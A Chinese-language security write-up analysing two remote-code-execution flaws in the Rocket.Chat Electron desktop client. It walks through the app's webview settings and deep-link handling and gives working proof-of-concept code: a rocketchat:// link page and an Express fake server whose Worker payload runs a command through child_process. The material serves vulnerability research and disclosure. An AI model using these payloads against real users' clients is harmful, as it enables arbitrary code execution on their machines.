Electorn应用漏洞挖掘之rocket.chat

漏洞局限性

先来谈谈,挖掘electron应用rce的思路无外乎能够让webContents加载攻击者构造的页面。而当nodeIntegration为false时,意味着加载三方站点时会隔离外源script标签下的node环境,因此script标签下的js上下文无法获取到require等函数。rocket.chat所做的安全处理如下

rootWindow.webContents.addListener(
    'will-attach-webview',
    handleWillAttachWebview
  );
  • This event can be used to configure webPreferences for the webContentsof a <webview>before it’s loaded, and provides the ability to set settings that can’t be set via <webview>attributes.

在webview加载之前更改webPreferences,从而隔离子页面node上下文

const handleWillAttachWebview = (
    _event: Event,
    webPreferences: WebPreferences,
    _params: Record<string, string>
  ): void => {
    delete webPreferences.enableBlinkFeatures;
    webPreferences.preload = path.join(app.getAppPath(), 'app/preload.js');
    webPreferences.nodeIntegration = false;
    webPreferences.nodeIntegrationInWorker = true;
    webPreferences.nodeIntegrationInSubFrames = true;
    webPreferences.webSecurity = true;
    webPreferences.contextIsolation = true;
    webPreferences.nativeWindowOpen = true;
  };

但是nodeIntegrationInWorker 设置为true,意味着我们可以通过Worker对象绕过nodeIntegration 的限制,具体参考下文的payload

漏洞1-唤醒协议时的任意url链接

参考链接

SSD Advisory - Rocket.Chat Client-side Remote Code Execution - SSD Secure Disclosure

漏洞分析

#exp
<html>
pwned

<script>
location.href='rocketchat://room?host=http://localhost&rid=pwn&path=file-upload/8ByCbH839kBDsYmEu/lin.html'
</script>
</html>

从payload可以看出,通过协议启动electron应用时产生的bug,全局搜索electron内置注册协议的api setAsDefaultProtocolClient定位到electron在应用启动时注册了名为rocketchat的浏览器唤醒协议

performElectronStartupelectron应用预启动的部分初始化逻辑,包括注册协议、更改AppUserModelID,但我们重点是关注electron如何处理唤醒应用后的逻辑。electron app通过监听open-url或者second-instance事件,处理唤醒容器时的参数,搜索关键字可以快速定位到setupDeepLinks

之后的操作就是对应用进行深度链接

深度链接(Deeplinking)是什么?

参数url是唤醒应用时的路径值,跟进processDeepLink 查看对该url 的进一步操作:在processDeepLink函数内部做了一些处理,根据action的类型对参数进行操作后,将其丢入对应的方法调度。多提一嘴,这里有点类似于react-redux的逻辑,根据action的类型分发到不同的reducer中,只是此处并没有借助redux-dispatch而直接调度,如果通读rocket 的代码会发现整个应用的控制逻辑都是借助redux来实现的。

const processDeepLink = async (deepLink: string): Promise<void> => {
  const parsedDeepLink = parseDeepLink(deepLink);

  if (!parsedDeepLink) {
    return;
  }

  const { action, args } = parsedDeepLink;

  switch (action) {
    case 'auth': {
      const host = args.get('host') ?? undefined;
      const token = args.get('token') ?? undefined;
      const userId = args.get('userId') ?? undefined;
      if (host && token && userId) {
        await performAuthentication({ host, token, userId });
      }
      break;
    }

    case 'room': {
      const host = args.get('host') ?? undefined;
      const path = args.get('path') ?? undefined;
      if (host && path) {
        await performOpenRoom({ host, path });
      }
      break;
    }

    case 'invite': {
      const host = args.get('host') ?? undefined;
      const path = args.get('path') ?? undefined;
      if (host && path) {
        await performInvite({ host, path });
      }
    }
  }
};

当action的值为room 时,我们继而跟进performOpenRoom 函数,在performOnServer 中完成对url的resolve处理,重新拼接host、path、param等参数为完整的url后,调用异步的回调函数加载serverUrl 从而加载攻击者构造的可控页面,完成RCE。当然这里限制了serverUrl的路径,攻击者只需要在服务端上传一个html文件即可

漏洞2-链接任意服务器时加载任意页面

这点是笔者在调洞时发现的一处任意页面加载,逻辑简单。在添加rocket server时会先判断服务器的版本号是否存在,请求的端点在/api/info

接着请求rocket server首页进行用户注册,将页面存储到webContentsByServerUrl定义的Map中

const webContentsByServerUrl = new Map<Server['url'], WebContents>();

当Dom加载完成时会触发handleAttachReady操作,进行WEBVIEW_ATTACHED调度,store监听了WEBVIEW_ATTACHED这个action,对已加载的serverUrl返回对应的Webcontents


我们只需要构造如下的fake server即可在建立连接时进行rce

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.setHeader('Content-Type', 'text/html');
  res.send("<script>new Worker('data:,require(`child_process`).execSync(`calc.exe`)');</script>")
});

router.get('/api/info', function(req, res, next) {
  res.setHeader('Content-Type', 'application/json; charset=utf-8');
  res.json({"version":"4.5","success":true});
});

module.exports = router;

”hey bro, join my chat server “

“what? you wanna to hack me?”

调试

强烈建议使用vscode调试,vscode支持两种调试模式:

  • attach
  • lanuch

第一种模式将调试程序attach到进程所指向的pid上

第二种模式在程序启动(通过node或者npm)时指定--inspect-brk ,然后自动attach上去,这种模式相当于在开发者工具上附加调试程序

not found!